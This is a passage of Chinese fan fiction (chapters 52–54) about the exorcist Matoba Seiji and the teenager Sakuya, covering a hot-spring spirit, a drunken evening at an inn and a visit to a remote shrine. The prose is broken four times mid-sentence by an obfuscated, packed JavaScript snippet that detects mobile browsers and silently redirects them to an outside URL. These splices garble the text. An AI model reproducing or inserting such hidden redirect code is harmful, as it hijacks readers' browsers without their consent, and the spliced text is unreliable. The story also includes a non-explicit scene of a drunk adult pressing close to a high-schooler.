桐野家的温泉民宿其实从祖父那一辈就已有了雏形,不过那时的村子比现在更冷清数倍,一年也来不了几个客人,桐野家更多是靠着家里的土地谋生,温泉主要是家人在享用。 到桐野梓出生的时候,温泉民宿已正式建了起来,家人也更加忙碌,所以她自记事起便经常一个人待着。 这也意味着她比较自由,可以随心所欲地在民宿里跑来跑去,温泉池就像是她的水上游乐场。 有一天,她在温泉里玩耍的时候突然发现了另一个“存在”。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901652|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那天,她将玩具小船放在温泉里,假装自己是船长,用手掀起浪花推着小船前进。 而当一朵浪花将船打翻之后,神奇的事情发生了。 那个小船在没有任何外力的作用下自己翻了过来,然后像真的有人驾驶一样,在水面上游来游去。 “我当时一点都不害怕,只觉得新奇又有趣。”桐野梓怀念地说道:“也许那时候我有些寂寞,那个‘存在’就像突然出现的朋友一样。” 在那之后,这个看不见的“朋友”和桐野梓的玩耍多了起来,它不仅出现在温泉里,也可以出现在其他地方,只是它所到之处总是会留下水渍,所以桐野梓认为它是一个住在温泉里的幽灵朋友。 “我小时候就很喜欢画画,它似乎也很有兴趣,于是我给它准备了画纸,它会用水将水彩晕染出不同的颜色。” 桐野梓笑道:“我把它的画作拿去给大人们看,说是看不见的‘朋友’画的,大人们只以为是我顽皮,乱用颜料涂鸦。” “我保存了它的作品,可惜有一次地震,家里的房子损毁了一部分,那些画作也都遗失了。” “地震?” “嗯,在我临近小学毕业的时候,有天傍晚突发地震,很多石头从后山滚到了院子里,我被碎石砸伤了腿,在医院住了一段时间。” 说到这里,桐野梓有些惆怅,“等我从医院回家之后,就察觉不到它的存在了,也许是它被地震吓到,自己离开了吧……” 朔也若有所思。 “时间久了之后,我都有些怀疑它是否真的存在过,毕竟它就像水被蒸发了一样,没有留下任何痕迹。” “但你一直到现在还在探寻。” “是啊……”桐野梓露出淡淡的微笑:“我想相信它是真的,想证明那不是一个孩子寂寞的幻象,而是我真实的朋友。” 大概是这样的聊天让桐野梓很有感触,在晚餐结束后,她送了朔也几本漫画,是她最近的新作《胧夜谭》,依然是怪谈类的题材。 于是,晚餐后,朔也就窝在房间看起了漫画,的场静司倒是一改之前懒洋洋的状态,悠闲地出去散步了。 《胧夜谭》由各种单元故事组成,比起《幽世草纸》的恐怖元素,新作的故事更温柔也更哀伤。 其中有一篇《雪泉下的幽灵》,显然是由桐野梓晚餐时讲的那段经历改编的,但里面的细节比桐野梓提到的那些更丰富。 比如,女孩尤其喜欢在冬日下雪的时候泡温泉,那时的温泉被水雾笼罩,飘落的雪花在水雾中若隐若现,这时候幽灵朋友会让雪花在水雾中舞动,聚集成奇怪的样子,非常有趣。 这样的情节很容易就能和朔也之前看到的温泉雪花联系起来,若将搜集到的信息综合到一起,要拼凑出一个完整故事也没什么难度。 桐野梓幼年时和温泉里的妖怪结识,两人像是玩伴一样相处,但在那次地震中,妖怪可能受了伤,所以离开或者消亡了,余留的一些妖力在执念的影响下幻化为温泉上的雪花。 朔也看向院子里的温泉池,那里现在没有雪花,实际上,雪花只在傍晚短暂地出现了一会儿。 他打算多观察两天,如果雪花只能出现在每天的逢魔之时,那说明残留的妖力已经很少了,也许过不了多久,就会彻底消失吧。 那样的话,就如静司先生所想,置之不理也无妨。 52.第五十二章 心声 * 的场静司拉开房间的门,视线第一时间搜寻起另一个身影。 房间里的灯虽然亮着,但非常安静,他环视了一周,在靠近温泉池的走廊边上发现了睡着的朔也。 竟然睡在这种地方…… 的场静司走到朔也身边蹲下,轻轻拿走他盖在脸上的漫画书,目光落在少年的脸上。 青春期过半,快速成长中的朔也其实与他曾梦见过的成年朔也形象非常接近了,只是少年人独有的青涩感遮盖了这一点。 当然,重要的不是他们如何相似,而是成年后的朔也会穿着带有的场家家徽纹样的和服,以毋庸置疑的同伴身份走在他的身边。 睡梦中的朔也动了动,转为侧躺,微微蜷缩起来,不知道梦到了什么,不自觉地蹙眉。 的场静司凝视了一会儿,忍不住伸出手,轻轻地戳了戳朔也的眉心。 下一秒,的场静司的手指就被朔也的手拽住了,而后顺着对方的力道,被拉到了少年的脸颊边。 温热的呼吸拂过的场静司的手,他一时有些为难。 “嘎!” 在外野了大半天的八咫终于回来了,粗哑的声音顿时击碎了宁静的氛围,也毫不费力地叫醒了朔也。 “唔,八咫你好吵……”朔也迷迷糊糊地揉着眼睛坐起身,“啊,静司先生,你回来啦。” “嗯,一个人散步很无聊,所以随便走走就回来了。” “唔,早知道我就和你一起去散步了。”朔也看了看旁边的漫画书。 的场静司顿时察觉到异样,问道:“怎么了?是梦见了什么吗?” “嗯……”朔也回想着梦境,揉了揉额角,“只梦到了一些碎片似的记忆,应该是那只温泉妖怪的,看上去它好像是为了救桐野小姐耗费了太多妖力,以至于无法再维持妖怪的形态。” 的场静司点点头,“那它应该已经消亡了。” 朔也看向温泉,一时间心情有些复杂。 “静司先生,这件事要告诉桐野小姐吗?” 的场静司没有回答,而是反问道:“朔也觉得呢?” 朔也有些犹豫。 桐野梓看不见妖怪,即使她曾经和妖怪有所交集,但那样的缘分也早已结束了。 她一直探寻真相,大抵是因为仍心存希望,期盼着某一日能和那个看不见的朋友重逢,如今告诉她一个令人难过的事实,除了希望破碎、徒增悲伤,又有什么意义呢? 况且,若因这件事让她对妖怪抱有情感,万一以后招惹来不善的妖怪,又该怎么办? “是否告知桐野小姐,便由朔也来决定吧。” “诶?”朔也很惊诧,“但是……” “我相信朔也哦。”的场静司笑着说道。 “突然好有压力。”朔也抱怨地嘟囔了一声。 “朔也按照自己的想法来就好。” 的场静司看向朔也,“你总能很好地解决事情,就算没有我的指引,也没关系。” 朔也睁大眼睛,定定地看着的场静司,对方的话让他有些无措。 “呃,为什么……” “嘛,就当是‘独立接受委托’的测试吧。” 的场静司避开朔也的目光,看向夜晚的星空,思绪纠结成一团。 他还真是矛盾啊,既想将朔也绑在身边,又想亲手斩断束缚、试探对方是否会真的飞走,明明有着强烈的控制欲,却又将控制权交到了对方手里…… 如此自乱阵脚,实在不是他的风格。 * 之后的两天,朔也和的场静司去爬了附近的火山,看了村子里举行的夏日祭典,还去河边尝试着钓鱼。 当然,两人的钓技十分有限,最后唯一的收获是朔也在河边的石头缝里捉到的螃蟹,因为仅有一只,烹饪起来太可怜,只好放生。 但毫无疑问,这样的假期确实很有趣就是了。 至于“独立接受委托”的测试,在又欣赏了两天雪花之后,朔也最终还是决定告诉桐野梓实情。 作为漫画家,桐野梓对朔也能看见妖怪的事接受良好,但这样心思细腻敏锐又情感丰富的创作者,在遇到不幸的事情时,所承受的悲伤也远比别人更多。 “所以,它是为了救我才消失的吗?” 桐野梓的语气非常低落,她看着桌上的画纸,那是《雪泉下的幽灵》的手稿。 “不过,铃木君,其实我有过这样的猜测。” 桐野梓回忆着,慢慢说道:“地震那天,我摔倒在院子里,很多石块滚落下来,其中有一块很大的石头,我记得它原本是冲着我的头撞过来的,却在震动中突兀地偏转了方向,与我擦身而过。” “但如果这样想的话,就太痛苦了。” 她勉强地笑了笑,眼里并无泪水,朔也却觉得对方的愧疚几乎要满溢出来。 “铃木君,有什么办法可以让我看见那些雪花吗?” 在对方隐含祈求的目光中,朔也摇了摇头。 “真是遗憾啊。”桐野梓无可奈何地说道:“我不知道它的模样,也不知晓它的名字,就连遗留之物也无缘目睹……” “桐野小姐,妖怪是一种害怕寂寞的存在。”朔也看向桌上的漫画手稿,解释道:“在你的视角看来,是它陪伴了你,但从它的角度来说,其实是你陪伴了它。” “被发现、被需要,都是它一直渴求的,你给予了它这些珍贵的东西,所以它愿意用生命来回报你。” “如果它知道你一直记得,会很高兴的。” “是这样么?” 桐野梓愣了一会儿,很是伤感地感叹道:“但这样的缘分,实在是……” 未说完的话,承载着难以用言语倾诉的情感。 朔也能够意会,却也因此不知道该回应些什么。 人类和妖怪的交集,总是如此。 “铃木君,谢谢你。”桐野梓真诚地说道:“你本可以忽略这件事的,却冒着被误解的风险告知我实情,谢谢。” “呃,不用谢。”朔也坦率地说道:“我也是因为桐野小姐看上去不反感这些才说的。” 而且他的判断是对的。 不管怎样,事情算是就此完结。 不知道这是否算是通过了静司先生的测试呢? * 朔也回到房间的时候,的场静司正在走廊上喝酒。 这样的场景不常见,朔也怔愣了几秒。 “怎么突然喝起酒了?” “桐野夫人送来了自酿的梅酒,很好喝哦~” 朔也暗暗松了口气,他还以为是静司先生已经不开心到要喝酒麻痹自己了呢。 暮色降临,晚风穿廊而过,风铃摇晃着发出清脆的铃音,驱散了朔也心里残留的些许情绪,他走到的场静司身边坐下,嗅到梅酒淡淡的香甜气息。 “桐野小姐虽然很难过,但还是接受了我的说法。” 的场静司弯起嘴角,“恭喜朔也,通过了测试。” 朔也撇撇嘴,“这样的测试,随意地像在开玩笑。” “不是玩笑。”的场静司淡淡地笑道:“朔也已经能够独当一面了。” “唔……”朔也仔细打量着青年的神情,有些捉摸不透对方的意思。 “感觉朔也对妖怪的态度变温柔了,是因为受到夏目君的影响吗?” “呃,有吗?” 朔也回想了一下,自己也有些拿不准。 “我还是不喜欢妖怪,也不赞成人类和妖怪有太多接触,但是……对那些与人类产生羁绊的妖怪,过于苛责的话,总觉得不太公平。” 的场静司看向朔也,沉默了一会儿,终于问道:“朔也会有一天离开的场家吗?” 朔也瞪大眼睛,下意识反问道:“我为什么要离开?” “的场家的很多理念你其实并不赞同吧?如果某天需要你违背自己的意愿去做那些事情,到那时……” 朔也毫不犹豫地说道:“我不会离开的。” “哪怕理念冲突到你无法忍受?” “嗯。”朔也想了想,说道:“到那时,我应该会和静司先生争吵的。” 的场静司露出纵容的微笑,“争吵,然后呢?” “然后努力说服你,让的场家改变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907404|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点点。”朔也看着的场静司,十分确定地说道:“所以我会变得非常非常烦人,只要你不赶走我,我就会一直烦你!” 的场静司克制不住地笑出了声,“为什么?这样会很辛苦吧。” “没有为什么。”朔也有些不高兴,“遇到冲突就逃跑,那我和静司先生的那些约定不就毫无意义了么?” “啊,虽然听到你这么说我非常高兴,但……”的场静司笑着叹息道:“我最近时常想,你和夏目君那么合得来,以后和他一起搭档,也许比在的场家更自在。” 朔也愣了一瞬,回忆起两人上次在旧别墅的谈话,突然抓住了一直被他忽视的一点。 “静司先生为什么这么在意我和夏目的关系?” 的场静司挑眉,“哦呀,我表现得很明显吗?” 朔也点点头,“现在回想起来,是挺明显的,不过我之前以为是你想招揽夏目的缘故。” “我确实很想招揽夏目君。”的场静司遗憾地说道:“但被他拒绝了。” 他看着朔也的眼睛,无奈地笑说道:“这难免让我想到你。” “你们亲近得很快,大概是因为总能互相理解,不同的理念让夏目君讨厌的场一门,那朔也呢?会不会有一天也无法再忍受下去?” 朔也的眉渐渐皱到一起。 “而且,你会逐渐发现,你和夏目君在一起时能看到更多东西,拥有更多共鸣,你们眼中的世界是一样的……” 朔也脑海里的某根神经跳动了一下,他猛地意识到了什么,索性跳过了求证的环节,而是直接说道:“我和夏目没有看海洋馆的表演。” 的场静司的表情有一瞬间的错愕。 “我特意选在早上带夏目去海洋馆,这样可以避开下午的表演。”朔也认真地解释道:“对我来说,和静司先生一起看到那条金鱼的记忆非常珍贵,我想让那一刻一直保存下去。” 在朔也真诚坦率的目光中,的场静司觉得自己无所遁形,他在意的、为之烦躁不安的东西,完全被对方看穿了。 这让他有种本能的被暴露的羞耻,但同时又窃喜着,原来自己隐秘的心情也能被对方察觉和理解,就好像这个人一直待在距离自己最近的地方,专注地、心无旁骛地注视着自己。 “既然在意的话,为什么静司先生不直接问我呢?” 朔也有些气闷,他暗自担心了这么久,结果自己才是引发问题的原因。 的场静司苦笑,“过问太多的话,会让朔也有被束缚的感觉吧?” “我从来没这么觉得过!”朔也有些无奈,“静司先生未免也太小心了。” 不小心可不行啊,毕竟是被自己珍惜着的…… 的场静司笑着,追根问底似的问道:“一直待在的场家,一直待在我身边,也不觉得束缚吗?” “当然不会!”朔也强忍住给对方一个白眼的冲动,抱怨道:“我本来就会一直在这里,这不是很早之前就确定的事吗?结果静司先生倒是先怀疑起来了。” 最近一段时日的纠结已经消弭在这场对话中,豁然开朗的感觉让的场静司彻底放松下来,又恢复了往日的姿态,说话也不再遮遮掩掩。 “对朔也有关的事情,我没有看上去那么自信。” “那还是自信些吧。”朔也理所当然地说道:“我会一直跟着静司先生的。” “哦呀,这么动听的誓言。”的场静司又有了打趣朔也的心情,故意逗弄道:“哪怕以后有了喜欢的人也会这样吗?” “喜欢的人?是指恋人吗?”朔也果断摇头:“不会有的哦。” “嗯?” “我不会恋爱,不会结婚,也不会养育孩子。”朔也如同起誓一般,笃定地说道。 的场静司很惊讶,“为什么这么想?” “就觉得没有必要。”朔也不愿意多谈这个,转而说道:“像七濑阿姨那样就挺好的啊。” 看出朔也的回避,的场静司没再追问,青春期的孩子总有许多奇怪的想法,朔也大概也是如此吧。 就算朔也真的如他所说一直独身,也没关系,他一定会陪伴朔也的。 53.第五十三章 微醺 * 解决了烦恼,消除了不安,又有美味的梅酒摆在手边。 于是,的场静司果不其然地喝醉了。 更准确地说,是微醺。 因为不是彻底的醉酒,朔也刚开始并没发现,直到的场静司说话总是慢半拍,举止比平时更加随意,他才察觉出一点异样。 朔也只觉得无语,赶紧将剩下的梅酒藏起来,然后拉着的场静司去刷牙。 “刷仔细一点啊静司先生!”朔也一边监督对方刷牙一遍嘟囔道:“本来就喜欢甜食,再不仔细就得去看牙医了。” 嘴里都是牙膏泡沫不方便说话,的场静司就慢半拍地哼笑了一声。 朔也其实不清楚对方醉到了哪种程度,他是未成年,没喝过酒,也很少见到身边的人喝醉,所以无法判断的场静司现在的状态,只能试着像照顾小孩子一样照顾对方。 等的场静司刷完牙,朔也拧好毛巾给他擦脸,就连被符纸遮挡的部分也被他小心细致地擦过,然后才满意地拉着对方去睡觉。 民宿的床褥是一直铺在榻榻米上的,朔也只是略做了些整理。 打理好后,朔也正准备起身,却突然被身后的青年以泰山压顶的姿势抱了过来。 对方像是在抱什么大玩偶一样,把他整个搂在怀里,脑袋还在他的头上蹭来蹭去。 “喂!” 朔也挣扎着想推开对方,但无奈位置本就处于劣势,高中生和成年人的力量也有差别,他忙碌了一通,最后却只能放弃,顺着的场静司的力道歪倒在被子上。 “真是的!静司先生,你是真的醉了还是在恶作剧啊!” 朔也不满地吐着槽,严重怀疑是后者。 “我没醉哦。”的场静司懒洋洋地说道:“只是很想抱着朔也而已。” “完了,真的醉了。” 朔也嘟囔着,毕竟一个喝了酒的人,但凡说自己没醉,那一定就是醉了。 的场静司闻言轻笑起来。 朔也感受着身后对方胸腹的轻微震动,无奈地撇撇嘴,索性闭上眼睛开始养神,等静司先生睡着了他再挣脱吧。 两人一起安静地躺了一会儿,朔也静静地听着对方的呼吸声。 只是这个声音好像一直没有缓和下来进入睡眠模式的意思,反而随着身后人轻微的动作距离他越来越近。 朔也睁开眼,正对上的场静司俯身看向他的眼睛,绛红虹膜在壁灯昏黄的光线中看起来比白昼时更鲜艳,身后的黑色长发垂到前面,落到朔也身上。 “静司先生?” 朔也撑起身体,准备起身,却发现对方一点避开的意思都没有,只能僵在原地。 不妙。 在强大的妖怪之外,朔也第一次感受到来自人类的压迫,尤其是“施压”的一方还是的场静司。 在朔也的认知里,的场静司虽然有强大的一面,但在两人的相处中,对方一直是温和包容的,让他觉得很安全、很安心。 现在这个喝醉了的的场静司,因为更加随心所欲,没有克制的举止反而显得很有攻击性,这是让朔也觉得非常陌生的、属于成年男性的侵略感,他本能地戒备起来。 “朔也果然在装睡。”的场静司笑了。 熟悉的声音和语气让朔也从刚刚觉察的“陌生感”里脱离,他暗暗松了口气。 “你不也在装睡吗?”朔也不服气地说道。 “大概是今晚太高兴了。” 的场静司看着朔也,慢慢低头靠得更近了些,他看着朔也的眼睛,微笑着,慢条斯理地说道:“只要一看到可爱的朔也就非常开心,根本睡不着。” 这样的距离几乎快要突破朔也的社交底线,对方过于专注的凝视、温柔的微笑以及近在咫尺的气息,突然都显得暧昧起来,就连空气也变得如蜂蜜般粘稠,让他呼吸不畅。 总觉得,非常危险。 “好了,我要洗漱了!” 朔也忽然像条滑溜溜的泥鳅,从下面的空隙里溜了出去,头也不回地进了浴室。 虽然不知道刚才是怎么回事,但先冲着澡冷静冷静准没错! * 朔也在浴室里磨蹭了很久,等他出去的时候,的场静司已经睡了,被子乱成一团被压在身下。 朔也走过去看了看,小心翼翼地拉出被子,又重新盖上。 昏黄的暖光下,青年熟睡的样子引得朔也多看了几眼。 他知道静司先生的外表非常优越,但因为长期朝夕相处的关系,这一点往往会被忽略。 只是这几天,朔也发现对方在外表上的吸引力变得难以忽视起来,即使身为同性,他也时常被吸引。 人被美好的东西吸引固然正常,但若是…… 朔也甩了甩头,不敢再看,目不斜视地钻进自己的被子里,背对着睡下了。 一夜无梦。 * 短暂的假期结束,到了该回程的时候。 在两人和桐野梓辞别时,却收到了一份特别的礼物,一个文件袋。 朔也打开看了看,很是吃惊。 “抱歉,擅自画了这些。”桐野梓笑道:“大概是我的职业习惯作祟吧,看到美好的画面就总想着画下来。” 文件袋里是几张画稿,画的是的场静司和朔也在一起的场景,有两人一起喂八咫的、一起散步的,一起钓鱼归来的…… 桐野梓的画风空灵诡谲,但这次画稿的笔触却柔和淡雅许多,显得非常温馨。 “哇!”朔也赞叹道:“比照片还好呢!” 的场静司笑道:“多谢桐野小姐了,这可是难得的纪念。” “还得谢谢你们愿意做我的角色参考。”桐野梓有些兴奋地说道:“我打算创作一部新的怪谈作品,两位可是我的灵感来源!” 朔也笑了起来,“如果桐野小姐需要咨询的话,可以联系我哦。” “那就再好不过了!” 在回程的车上,朔也翻看着画稿,若有所思。 “怎么了?”的场静司看了看他,问道。 “唔。”朔也迟疑了一会儿,摇摇头,“没什么,就觉得画稿和照片的区别还是挺大的。” 细看之下,画稿里的他和静司先生,似乎显得过于亲近了,是他们本就如此,还是桐野小姐投入了自己的理解呢? 不过静司先生没觉得画稿奇怪,也许是他最近太敏感了吧。 * 度假结束的的场静司很快就迎来了一大堆工作,高中生朔也就幸福许多,他的暑假才过半。 倒是八咫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912306|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为在深山里待了几天,大概是心野了,回到的场家后也待不住,经常跟着它的山雀朋友一跑就是一两天,也不知道飞去哪儿了。 现在的八咫因为精心喂养的关系,个头比一般的渡鸦大一圈,又有朔也画在它羽毛上的守护符咒,偶尔在外面浪一浪,也不会让朔也太担心。 只是朔也没想到八咫这么能跑,他在另一座镇子上看见八咫的时候还以为自己看错了,直到八咫飞到跟前他才确认,看来真的不能小看鸟的出行距离。 “朔也,车快来了!”有同门的除妖师在远处提醒了一声。 的场家有个除妖师的式神逃脱了,那个式神因沾染了不洁的诅咒生出许多怨念,朔也被安排过来帮忙搜寻,好在不久前式神已经被封印,除妖师们正打算离开。 朔也看了看八咫,索性和同门告知一声,独自离开了。 他刚刚想起来,八咫的出生地就在这座镇子附近的森林里。 那次他在这附近参与猎捕妖怪,结束后心情不太好,在森林里乱逛,之后就碰到了掉到树下的八咫。 朔也摸了摸站在自己肩头的八咫,“还记得这里吗?” “嘎!” 八咫响亮地回应了一声,也不知道是记得还是不记得。 朔也带着它往记忆里的方向走,在森林外的时候还好,一进入森林,曾经的印象就变得模糊起来,一人一鸟在里面转了好几圈,才借着朔也隐约的感知慢慢摸索出方向。 “应该就是这附近吧?” 朔也自言自语地四处张望着,看哪棵树都觉得眼熟。 “嘎!” 八咫突然叫了一声,紧接着另一个声音从朔也身后传来。 “是在找什么东西吗?” 朔也猛地转过身,看向说话的人。 “抱歉,又吓到你了。” 说话的是个神情温和的青年,他穿着考究的西装,微微卷曲的浅色长发在身后绑成一束,看上去非常儒雅。 “这就是那只白化的渡鸦吗?”青年看着八咫问道。 朔也终于把眼前的人和记忆里的那位青年神官联系起来,他点点头,“是的,它叫八咫。” 青年露出微笑,“很好的名字。” 朔也曾怀疑过这个青年是妖怪,眼下看来,果然是他上次太紧张,误会了。 “我叫月见清,是附近神社的神主。”青年主动介绍道。 “你好,我叫铃木朔也。”朔也点了下头,转而问道:“月见先生所在的神社是月见神社吗?” 月见清有些讶异,“竟然还有人记得?” “偶尔听家人提起过,据说供奉着月神。” 朔也想起上次的场静司告诉他的那些,本以为曾辉煌一时的神社已经彻底没落了,没想到竟然传承至今。 “是的,不过神社已经远不如曾经的样子,铃木君想去看看吗?” 朔也愣了一下,有些犹豫。 “其实现在的月见神社已经不对外开放了,平日里只有我一个人,十分冷清。” 月见清温和地笑道:“难得有人还记得这座神社,所以想邀请你一起喝杯茶,可以吗?就当是陪我打发时间了。” 青年的态度非常诚恳,朔也想了想,答应下来,“那就打扰了。” 54.第五十四章 月见 * 朔也跟着月见清穿过一段隐藏在森林中的崎岖山路,爬上破败的石阶,才终于见到了老旧得几乎看不出颜色的鸟居。 就在朔也觉得神社里一定非常萧条时,呈现在他眼前的却完全是另一番景象。 神社的建筑被保养得很好,有些地方明显是被新翻修过,虽然因为没有访客的关系看起来空旷冷寂,但整体庄重洁净,能从中窥见千年前繁盛时的样子。 穿过供人参拜的区域,是一座宽敞的传统宅院,这里曾经是神主和其家人生活的地方,如今只居住了月见清一人,难怪他会觉得冷清。 “铃木君,请喝茶。” “谢谢月见先生。” 朔也看着面前的茶,隐约嗅到一缕淡淡的金木犀的香气。 “来,八咫,这是你的。” 月见清说着,在木桌的另一边放了一个装着水的瓷碟。 “嘎!” 朔也看了跳过去喝水的八咫一眼,发现它一点都不怕月见清,以往见到陌生人,它都会比较警惕。 “月见先生,您独自在这里修行吗?” “算是吧,我偶尔会去市区的大学任教,其他时间就待在这里整理祖辈留下的资料。” 朔也睁大眼睛,“任教?”这个职业让他有些意外。 月见清微笑着解释道:“教古典文化。” 如果是其他学科朔也估计会觉得奇怪,但是“古典文化”的话,配合月见清的形象,只会让人觉得理所当然。 “铃木君呢?这次来这里也是为了封印妖怪吗?” 朔也没和月见清提过自己是除妖师的事,但对方是神社神主,知道除妖师的事情也很正常。 于是他点点头,“嗯,正好八咫也在这里,就带它看看它出生的地方。” 月见清打量着八咫,“你把这孩子照顾得很好。” 八咫眨巴着豆豆眼看看他又看看朔也,“嘎!” 朔也摸了摸八咫的羽毛,“它好像认识月见先生。” “是吗?”月见清笑了笑,转而说道,“现在像铃木君这样年轻的除妖师很少见,看来你的天赋非常出众。” “算是吧。”朔也对这个不是很在意,反而对另一件事感到好奇,“月见先生可以看见它们吗?” “几乎看不见。”月见清对这个事情也显得很不在意,平淡地解释道:“家族里每一代人都是如此,所以神社败落至今,有关妖怪的事情我都是从家族留存的古籍里知道的。” “古籍?”朔也更好奇起来。 “嗯,都是一些陈旧的东西,很多因为保存不善损毁严重,我现在的一部分工作就是修复它们,你要看看吗?” “可以吗?” “当然。”月见清笑道:“这些东西若不能给能看懂它们的人看,就失去保存的意义了。” 朔也跟着月见清来到他的工作室,一进屋就被像列阵一样的书架惊了一下。 宽敞的房间像是一个小型图书馆,在房间最前面的是一张超大的书桌,正被各种图书、文件包围着。 月见清将朔也引导到一个靠窗的角落,指了指旁边的书架,“这些都是已经修复好的,你可以找感兴趣的看看。” “谢谢。” 朔也看着月见清坐到最前面的那张大书桌前,打开电脑写着什么,似乎完全不担心他会弄坏古籍。 虽然被信任很好,但总觉得哪里怪怪的。 朔也的困惑没多久就被古籍中的内容驱散了,这些古籍记载了很多很久以前和妖怪相关的东西,虽然很多妖怪早已不存在,但遗留的符咒、阵法、仪式等都很有研究的价值。 他窝在角落的小沙发上越看越入迷,一时忘记了时间。 * 一轮圆月悬挂在繁星之间,洒下明亮又柔和的光辉,将夜晚的森林映照成一片幽深的海。 朔也站在影影绰绰的树影中,抬头望向台阶尽头的鸟居。 在那里,有一个朦胧的身影正等待着他。 是谁呢? 朔也模模糊糊地想着,慢慢登上台阶,一步一步靠近那个影子。 总觉得有什么不对。 朔也迟疑地停下脚步,甩了甩头,想让自己更清醒一些。 透过树枝间的间隙,洒在地上的斑驳月光如同有生命一般汇聚到朔也的脚下,牵引着朔也走上下一级台阶。 等等! 朔也对抗着那股力量,收回了迈出去的脚,他揉了揉额角,努力睁大眼睛,看向鸟居下的身影。 到底是谁? “嘎!” 朔也猛地睁开眼睛,就见八咫正在一旁盯着自己,大有再来一嗓子的意思。 “嘘,八咫,小点声。” 朔也坐起身,发现自己身上多了条毯子,不知道是这里太安静还是怎么回事,他竟然不知不觉睡着了。 第一次到别人家拜访就睡着,这当然很尴尬。 无暇顾及之前诡异的梦境,朔也匆忙放好刚刚看过的古籍,走到房间最前面,发现月见清已经不在工作室了,他只好带着八咫回到之前的会客室。 会客室里,月见清正坐在窗边写些什么,见到朔也过来,笑着示意旁边桌上的点心。 “铃木君,请尝尝点心吧,我待会儿送你下山。” “呃,谢谢。”朔也有些不好意思,总觉得被人像孩子一样照顾了。 “这里一直很冷清,现在有客人来,哪怕只是说说话,也觉得热闹许多。” 月见清的笑容温和而真诚,“我这边别的没有,就是书和资料比较多,如果铃木君感兴趣的话,以后可以常来。” 朔也对他的印象很好,再加上那些珍贵的资料实在让人无法拒绝,于是爽快地点点头,“谢谢,那以后就多有叨扰了。” 说着朔也看了看四周,问道:“月见先生,这里没有设置结界吗?” “是的,旧的那些都已经失效,这里又刚修整过,还没来得及布置。” “要是月见先生不介意的话,我下次来帮你完善结界吧。”朔也笑着说道:“就当是我在这里查阅资料的回报,可以吗?” “当然可以,那就拜托铃木君了!” * 当朔也回到家说起这件事时,的场静司有些存疑。 的场一门对附近的神社和寺庙多少有些了解,更何况是月见神社这种有着悠久传承的大社,但在朔也提及之前,他都不知道这个神社依然存在。 不过的场静司没有表现出来,只说自己也很好奇,下次可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918494|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以和朔也一起去拜访。 但私下里,他第一时间让七濑去查了那个神社。 “现在的月见神社大概是几代之前的月见族人在原址上复原的,但从不对外开放,只是作为家族财产的一部分代代相传。” “这一代的继承人是月见家的旁支,早年移居海外,为继承家族遗产归国,目前在附近的大学任教。” “看上去没什么不妥。”最后,七濑如此总结道。 的场静司点了点头,“辛苦七濑桑了。” “如果担心朔也的话,为什么不直说呢?”七濑很是不解,“他已经能独立应对这些了。” “就这样吧,也不是什么重要的事。” 话是这么说,但的场静司心里清楚,虽然朔也似乎并不介意自己过问太多,但出于他纠结的控制欲,将过多的关注隐藏起来才更合适。 * 暑假快结束了,高杉飒真却宁愿暑假从没来过。 大半个假期,他都被困在进学塾里,承受着远比学校更高强度的学习压力。 唯一的好消息是,这种日子终于在一次惨烈的考试后暂时告一段落,他至少还有一周多的时间可以好好喘息一下。 走在回家的路上,飒真已经认真地琢磨起剩下的珍贵假期该怎么过,不管怎样,先得约朔也去游戏商店好好逛一逛!然后…… “呜呜呜,好疼!好疼啊……” 突然响起的呼痛声让飒真停下了步子,他左右看了看,没看见人,但刚刚那个声音明明就在附近。 “呜呜呜疼死了!” 听起来是一位年轻女性,只是声音细细的,若隐若现,有点怪异。 飒真看了看昏暗的天色,以及周围茂密的树林,一股凉意突然从后背窜了起来,该、该不会是…… “啊!好疼!救命啊!谁来救救我呜呜呜……” 声音愈发凄厉,飒真咽了咽口水,慌忙地在书包里掏了掏,拿出朔也给他的御守紧紧握在手里。 诡异的求救声还在继续,飒真虽然害怕,但还是握着御守慢慢靠近声音传来的地方。 他小心翼翼地绕过灌木丛,视线谨慎地在树林里搜寻着。 “啊!有人来了……” 